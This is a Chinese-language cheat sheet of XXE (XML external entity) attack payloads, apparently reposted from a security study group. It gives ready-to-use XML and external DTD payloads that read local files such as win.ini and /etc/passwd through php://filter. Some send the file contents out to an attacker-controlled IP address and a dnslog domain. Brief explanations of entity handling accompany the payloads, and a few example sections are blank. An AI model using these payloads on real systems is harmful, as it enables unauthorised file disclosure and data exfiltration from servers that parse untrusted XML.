1. 普通正常的伪协议 xxe
<?xml version="1.0" encoding="ISO-8859-1"?> //可以不用
<!DOCTYPE any [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C:windows/win.ini">]>
<user><username>&xxe;</username><password>&xxe;</password></user>
2. oob-php 伪协议
为了应对文件中有特殊标签、特殊字符会影响 xml 的解析,另外空格、换行等等会影响 http 协议的访问。
Payload :
<!DOCTYPE note SYSTEM "http://127.0.0.1:9999/evil.dtd">
<user><username>admin</username><password>&xxe;</password></user>
evil.dtd
evil.dtd :
<!ENTITY % p1 SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C:windows/win.ini"> <!ENTITY % p2 "<!ENTITY xxe SYSTEM 'http://127.0.0.1:8888/pass=%p1;'>">
%p2;
(参数实体% p1 在内部 dtd 中只能同级实体中被引用,而外部实体不会被限制)
3. 也可以构造如下请求 payload(只利用参数实体):
<!DOCTYPE root [
<!ENTITY % dtd SYSTEM "http://47.107.136.25/evil.dtd">
%dtd;%int;%send; ]>
这个是用于直接在 http body 中提交的恶意 xml 代码,它会去调用位于我们的主机 上的外部 xml 文件(不在同一个文件写入要读取的文件主要是为了避免参数实体引用时发生的错误)
以下是 eval.dtd 的内容:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://b7lcxb.dnslog.cn/?p=%file;'>">
具体加载过程:首先加载参数实体dtd
。此时会远程加载攻击者主机上的外部实 体,然后加载int
参数实体。接下来加载send
实体,此时就是关键点,就是用于 记载服务器端的返回内容(通过 get 查询方式会在攻击者的服务器日志中留下记录),查询的字符串p
的值便是参数实体file
的值,也就是读取的文件。参数实体int
只是辅助的作用,用于辅助解释参数实体send
的内容。
QA: 这个%是不是写错了?直接用%不行吗?
如果直接使用%
号的话,会报错: DOMDocument::loadXML(): Entity Value: ‘%’ forbidden except f or entities
也就是说%不允许出现在 Entity 的 value 中,所以需要将%进行 Unicode 编码为%
或者%
(Unicode 编码有两种形式,以&#后接十进制数字,&#x后接十六进制数字)
4. oob cdata
cdata 中的数据不会影响 xml 解析(在伪协议不能使用的情况下使用)
错误的写法:

正确的写法(还是需要外部 dtd):

实际的数据:

<!ENTITY % start "<![CDATA[">
<!ENTITY % file SYSTEM "file:///C:/windows/win.ini">
<!ENTITY % end "]]>">
<!ENTITY % pwn "<!ENTITY send '%start;%file;%end;'>">
%pwn;
考虑! Payload 如何写?
<!DOCTYPE xxe SYSTEM "http://127.0.0.1:8888/evil.dtd">
<user><username>&send;</username><password>&send;</password></user>
5.Dos 攻击(没成功过)
参考:
https://www.freebuf.com/articles/web/97833.html
https://blog.csdn.net/weixin_40950781/article/details/100725440
BY 火线内测群Atlantis
本文迁移自知识星球“火线Zone”